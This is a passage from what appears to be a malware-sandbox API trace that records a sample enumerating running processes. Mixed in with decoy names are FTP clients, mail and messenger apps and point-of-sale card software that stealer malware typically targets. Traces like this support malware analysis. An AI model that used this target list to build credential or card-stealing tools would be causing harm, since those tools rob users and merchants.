th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0112.171] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0112.171] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0112.172] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0112.172] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1 [0112.173] lstrlenW (lpString="pending.exe") returned 11 [0112.173] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bug workers.exe")) returned 1 [0112.173] lstrlenW (lpString="bug workers.exe") returned 15 [0112.173] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="succeed.exe")) returned 1 [0112.174] lstrlenW (lpString="succeed.exe") returned 11 [0112.174] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="springs antonio washer.exe")) returned 1 [0112.175] lstrlenW (lpString="springs antonio washer.exe") returned 26 [0112.175] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bookings.exe")) returned 1 [0112.176] lstrlenW (lpString="bookings.exe") returned 12 [0112.176] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="tramadol for.exe")) returned 1 [0112.177] lstrlenW (lpString="tramadol for.exe") returned 16 [0112.177] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freezenegotiationsg.exe")) returned 1 [0112.178] lstrlenW (lpString="freezenegotiationsg.exe") returned 23 [0112.178] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="starter detection.exe")) returned 1 [0112.178] lstrlenW (lpString="starter detection.exe") returned 21 [0112.178] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="unified aus.exe")) returned 1 [0112.179] lstrlenW (lpString="unified aus.exe") returned 15 [0112.179] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="taiwan registration.exe")) returned 1 [0112.180] lstrlenW (lpString="taiwan registration.exe") returned 23 [0112.180] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="idolcollectibles.exe")) returned 1 [0112.181] lstrlenW (lpString="idolcollectibles.exe") returned 20 [0112.181] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines.exe")) returned 1 [0112.181] lstrlenW (lpString="headlines.exe") returned 13 [0112.181] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ash-method.exe")) returned 1 [0112.736] lstrlenW (lpString="ash-method.exe") returned 14 [0112.736] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious_information.exe")) returned 1 [0112.736] lstrlenW (lpString="jane_conscious_information.exe") returned 30 [0112.737] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="programmes officially.exe")) returned 1 [0112.737] lstrlenW (lpString="programmes officially.exe") returned 25 [0112.737] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gerald_cdna_charleston.exe")) returned 1 [0112.738] lstrlenW (lpString="gerald_cdna_charleston.exe") returned 26 [0112.738] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="george-depending.exe")) returned 1 [0112.739] lstrlenW (lpString="george-depending.exe") returned 20 [0112.739] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="examinationrecipes.exe")) returned 1 [0112.739] lstrlenW (lpString="examinationrecipes.exe") returned 22 [0112.739] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="repeat go.exe")) returned 1 [0112.740] lstrlenW (lpString="repeat go.exe") returned 13 [0112.740] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="showcase.exe")) returned 1 [0112.741] lstrlenW (lpString="showcase.exe") returned 12 [0112.741] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0112.742] lstrlenW (lpString="3dftp.exe") returned 9 [0112.742] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0112.744] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0112.744] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0112.745] lstrlenW (lpString="alftp.exe") returned 9 [0112.745] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0112.746] lstrlenW (lpString="barca.exe") returned 9 [0112.746] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0112.747] lstrlenW (lpString="bitkinex.exe") returned 12 [0112.748] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0112.749] lstrlenW (lpString="coreftp.exe") returned 11 [0112.749] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0112.750] lstrlenW (lpString="far.exe") returned 7 [0112.750] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0112.751] lstrlenW (lpString="filezilla.exe") returned 13 [0112.751] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0112.752] lstrlenW (lpString="flashfxp.exe") returned 12 [0112.753] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0112.754] lstrlenW (lpString="fling.exe") returned 9 [0112.754] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0112.755] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0112.755] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0112.756] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0112.756] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0112.758] lstrlenW (lpString="icq.exe") returned 7 [0112.758] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0112.759] lstrlenW (lpString="leechftp.exe") returned 12 [0112.759] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0112.761] lstrlenW (lpString="ncftp.exe") returned 9 [0112.761] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0112.762] lstrlenW (lpString="notepad.exe") returned 11 [0112.762] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0112.763] lstrlenW (lpString="operamail.exe") returned 13 [0112.763] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0112.764] lstrlenW (lpString="pidgin.exe") returned 10 [0112.764] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0112.765] lstrlenW (lpString="scriptftp.exe") returned 13 [0112.766] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0112.766] lstrlenW (lpString="skype.exe") returned 9 [0112.767] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0112.768] lstrlenW (lpString="smartftp.exe") returned 12 [0112.768] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0112.769] lstrlenW (lpString="thunderbird.exe") returned 15 [0112.769] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0112.770] lstrlenW (lpString="totalcmd.exe") returned 12 [0112.770] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0112.771] lstrlenW (lpString="trillian.exe") returned 12 [0112.771] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0112.772] lstrlenW (lpString="webdrive.exe") returned 12 [0112.772] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0113.392] lstrlenW (lpString="whatsapp.exe") returned 12 [0113.392] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0113.394] lstrlenW (lpString="winscp.exe") returned 10 [0113.394] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0113.404] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0113.404] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0113.406] lstrlenW (lpString="active-charge.exe") returned 17 [0113.406] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0113.407] lstrlenW (lpString="accupos.exe") returned 11 [0113.407] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0113.408] lstrlenW (lpString="afr38.exe") returned 9 [0113.408] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0113.409] lstrlenW (lpString="aldelo.exe") returned 10 [0113.409] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0113.410] lstrlenW (lpString="ccv_server.exe") returned 14 [0113.411] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0113.412] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0113.412] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0113.413] lstrlenW (lpString="creditservice.exe") returned 17 [0113.413] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0113.414] lstrlenW (lpString="edcsvr.exe") returned 10 [0113.414] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0113.415] lstrlenW (lpString="fpos.exe") returned 8 [0113.415] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0113.416] lstrlenW (lpString="isspos.exe") returned 10 [0113.416] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0113.417] lstrlenW (lpString="mxslipstream.exe") returned 16 [0113.417] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0113.418] lstrlenW (lpString="omnipos.exe") returned 11 [0113.418] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0113.419] lstrlenW (lpString="spcwin.exe") returned 10 [0113.420] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0113.420] lstrlenW (lpString="spgagentservice.exe") returned 19 [0113.421] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0113.421] lstrlenW (lpString="utg2.exe") returned 8 [0113.422] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1060, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="controlling.exe")) returned 1 [0113.422] lstrlenW (lpString="controlling.exe") returned 15 [0113.423] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assess climate.exe")) returned 1 [0113.424] lstrlenW (lpString="assess climate.exe") returned 18 [0113.424] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="color_infection.exe")) returned 1 [0113.425] lstrlenW (lpString="color_infection.exe") returned 19 [0113.425] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="home.exe")) returned 1 [0113.426] lstrlenW (lpString="home.exe") returned 8 [0113.426] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assignedeliminatemidi.exe")) returned 1 [0113.426] lstrlenW (lpString="assignedeliminatemidi.exe") returned 25 [0113.427] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0113.427] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0113.428] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.428] lstrlenW (lpString="svchost.exe") 